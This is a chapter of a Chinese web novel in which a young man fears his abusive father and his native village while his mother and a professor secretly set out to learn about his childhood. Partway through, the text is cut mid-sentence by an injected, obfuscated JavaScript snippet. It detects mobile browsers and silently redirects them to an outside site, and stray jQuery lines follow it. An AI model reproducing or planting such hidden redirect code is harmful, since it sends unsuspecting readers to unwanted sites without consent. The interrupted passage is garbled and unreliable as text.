45.恐惧
作品:《渣攻换受文学[快穿]》 这些天,被公山易禾时不时撩拨一下,褚月恒在床上翻来覆去的睡不着,用大脑模拟着所有可能出现的结果。比如未来的某一天,公山易禾终于对他失去了兴趣,毫不留情的一走了之。比如在他终于决定和公山易禾在一起后,他又莫名其妙的觉得不对,然后像甩掉戚清棠一样甩掉了公山易禾。再比如,公山易禾突然出了什么意外……
褚月恒被吓得汗毛都竖了起来,他知道,他越在乎公山易禾,这种恐惧就会越强大,就像是思维的深渊,他光是站在悬崖边往下看,就能感受到深刻的恐惧。
晚睡有晚睡的坏处,褚月恒正忙着用想象力吓唬自己,手机突然震动了起来。
打开一看,来电显示:褚冰河。
褚月恒烦躁的拿枕头捂住自己的脸,拒绝面对。
其实,如果他不接电话,他父亲也找不到他。
褚月恒放下枕头,猛地坐起来,思考着和父亲切断联系的可能性。他不在极地冰海研究所工作了,虽然偶尔还会回到曾经那个科考站,但被褚冰河撞上的概率很小,如果他不接电话,不回消息,那他就真的可以和褚冰河单方面断绝关系了。
甚至,他可以干脆改姓符。
褚月恒把手机调成静音,然后默默地瞪着手机。也许是因为童年阴影,他总觉得他父亲是鬼魂一般的存在,总在他最没有防备的时候冒出来,给他致命一击。
他没办法心安理得的把手机调成静音后就去睡觉,他必须盯着手机,监控他父亲下一步的行动。
没过一会儿,褚月澄的电话来了。接下来就是家里亲戚的轮番来电,甚至村长也打来了,可以想象整个村子人是怎么聚集在一起骂他的。
无非就是不详、废物、薄情。
年幼时的褚月恒轻蔑的认为这是庸碌之辈不值一提的观点。被戚清棠击碎信仰后,他再去看这些评价,会感受到一种被人群排斥的、剧烈的孤独感,并在心底认同这些观点。而现在,褚月恒想笑。
他后知后觉的意识到,自己似乎得到了一个了不起的礼物,那就是母亲的认可。
符于渊说他很好,说不后悔生下他,那他的存在就是天经地义,哪怕被千夫所指,哪怕他真的是个废物,他也可以理直气壮的活在这个世界上,如果谁接受不了,那是他们自己要处理的问题。
“033,我这次是不是走对了方向?”褚月恒对着天花板问。
033微微一笑:“这要看你自己怎么想了。”
“那我父亲会不会找到我?”褚月恒还是有点怕他那阴魂不散的爹。
“逃避解决不了问题,”033同情的说,“别忘了还有戚清棠,只要你还在岳阳湖圈,他就很容易打听到你在哪里,而他又和你父亲来往密切。而且,就算你现在能逃避一时,你父亲依然是你的定时炸弹,将来你成为岳阳湖区的第十位院长,那就成为公众人物了,到时候你父亲若是被有心人利用,会给你带来更大的麻烦。”
褚月恒悲伤的盯着手机,拒绝面对现实。
“接电话吧,这次有妈妈陪着你,你怕什么。”033试图给褚月恒一些鼓励,却让褚月恒更焦虑了。
“我不想他和妈妈有交集。”褚月恒认为符于渊对褚冰河的感情和他是一样的,都是恨不得这个人从来没存在过。所以,他不能让褚冰河像对自己阴魂不散一样去对待符于渊。
“别担心,这不是什么大问题。”033低声说,“你已经走出了很远,进步了很多。新的人生总有新的烦恼,但你都有能力去解决。”
“我没有。”褚月恒悲观的说,“我曾经最喜欢离别,现在我恐惧离别。”
“我会一直在你身边,直到你不再恐惧离别。”033保证道。
褚月恒对此深信不疑,这是他脑子里的声音,他的大脑不会骗他,所以他安心多了:“那就好。你说,他们为什么都觉得我像猫?”
这还是褚月恒第一次跟033闲聊,033受宠若惊:“因为他们非常喜欢小猫,也非常喜欢你,不知道怎么表达对你的喜欢,就会说你像猫。”
——
和033商量后,褚月恒决定直面暴怒的父亲。不过在此之前,他需要先完成自己的承诺,带梵七叶下冰海。
033在旁边安慰:“就算先见褚冰河又怎么样,你都成年了,又不靠他养活。就算他要打你,你打不过难道还跑不过吗?”
褚月恒面无表情的看向033:“我要是想跑,所有路过的村民都会帮我父亲的。”
穷山恶水出刁民,他这个异类就是这群刁民的公敌,这么一想,褚月恒越发肯定,他决不能让符于渊和村民有任何交集。
深更半夜,褚月恒去敲公山易禾的门:“公山教授,麻烦您帮我个忙,明天我带七叶下冰海,如果我母亲产生回北宁村探亲的想法,您就让她陪您去别处玩。”
公山易禾无法理解:“你为什么不直接和符女士说?”
褚月恒抿了抿嘴,还是无法把心底藏着的那些恐惧坦诚的讲出来。他恐惧着那个偏远的村落,也恐惧着和母亲谈及他们在村落生活时留下的黑暗记忆。未被接纳的恐惧就像漂浮在心头的气球,只能小心翼翼的,不让它被扎破。
“我解释不清,但是我需要您的帮助。”褚月恒眨巴着黑曜石般的眼睛,请求的看着公山易禾。
公山易禾脸颊发烫,招架不住了,只能答应。
一大早,公山易禾就端着咖啡守在了距离大门最近的那个沙发上,百无聊赖的看着晨间新闻。
出乎意料的是,符于渊起的也很早,她下楼梯的时候就笑着和公山易禾闲聊:“月恒他们出发了?”
公山易禾十分自然的微笑:“刚送他们出门,七叶可期待了。对了,您和月鸳今天有什么计划么?好不容易来一趟,咱们去定北冰雕城逛逛吧。”
符于渊露出抱歉的神色:“我今天有点私事儿要办,但月鸳没安排,要不你们两个年轻人去玩吧。”
公山易禾心里的警报顿时拉响,在定北城?有私事?
“怎么,您安
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293297|198134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
排了探亲计划?不带月鸳一起回去瞧瞧吗?”公山易禾佯装不在意的拿起可颂咬了一口。
符于渊奇怪的看着公山易禾一眼,在聊天中,如果用到‘私事’这个字眼,就代表人家不想透露细节,公山易禾不可能不懂这个潜规则。
“不了,村里条件艰苦,她适应不了。”符于渊试探着透露出自己的去向,想看看公山易禾到底想干嘛。
“这……要不您等月恒回来了,和他一起呢?北宁村地域这么偏,您又这么久没回去了,一个人回去是不是不太安全?”公山易禾试探着说。
符于渊越发觉得公山易禾可疑:“公山教授,你是不是有什么事儿瞒着我?”
公山易禾尴尬的摸了摸鼻子,心虚不已。
公山易禾发现自己百口莫辩,干脆把实话讲了出来,“月恒昨天拜托我,说千万别让您回北宁村。”
符于渊惊讶道:“他为什么要这么做?他怎么不直接来找我说呢?”
公山易禾连忙解释:“希望您不要误会他,他没跟我解释具体原因,但他一定有什么苦衷。其实……我不知道这话由我来说合不合适,我看的出来月恒不想跟您提起他儿时的经历,但那些经历多少影响了他对北宁村的看法,所以他不想让您回去大概是想保护您,他不愿意直接跟您说可能是因为……他不想和您讲那些过往。”
“你知道他小时候的事儿?告诉我。”符于渊走下楼梯,坐到公山易禾对面,直勾勾的盯着他。
“我知道的也不多,而且如果月恒不想说,我也不该说。”公山易禾犹豫道。
“你不说我也会知道,我今天回北宁就是为了打探消息。”符于渊不容拒绝道,“只要我砸钱,村民们会告诉我一切,你的隐瞒又有什么意义?”
公山易禾叹了口气,妥协道:“我只能说我自己的经历,不能替月恒说任何事。”
公山易禾详细的讲了他和褚月恒在北宁村的经历。
符于渊沉默许久,然后抬眸看向公山易禾:“我要回去盘问更多细节,如果你感兴趣的话,可以和我一起走。”
公山易禾狠狠心动了,但又难免担心他背着褚月恒‘窥探’他的童年,会引起褚月恒的不快:“或者,我们也可以等月恒回来后,和他谈一谈。”
“谈什么谈。”符于渊没耐心的拎着包站起来,“你们中原人就是麻烦,想知道什么亲自去看就好,搞这么多弯弯绕绕做什么!”
公山易禾试图跟符于渊普及心理学知识:“我们未经月恒同意就去窥探他的过往,可能会让他感到尴尬,甚至……羞耻。而且这也是我们不尊重他的表现。。”
“我懂了,”符于渊似乎是被逗乐了,“我们悄悄去,快速回,不告诉他。”
“哎?我不是这个意思。”公山易禾傻眼了,然后就见符于渊拿起车钥匙就出了门。
“好吧。”公山易禾无奈的跟上,心里默默盘算着,去看看月恒到底是怎样长大的也好,如果他不高兴,我就把我的日记也给他看,应该能赎罪吧?

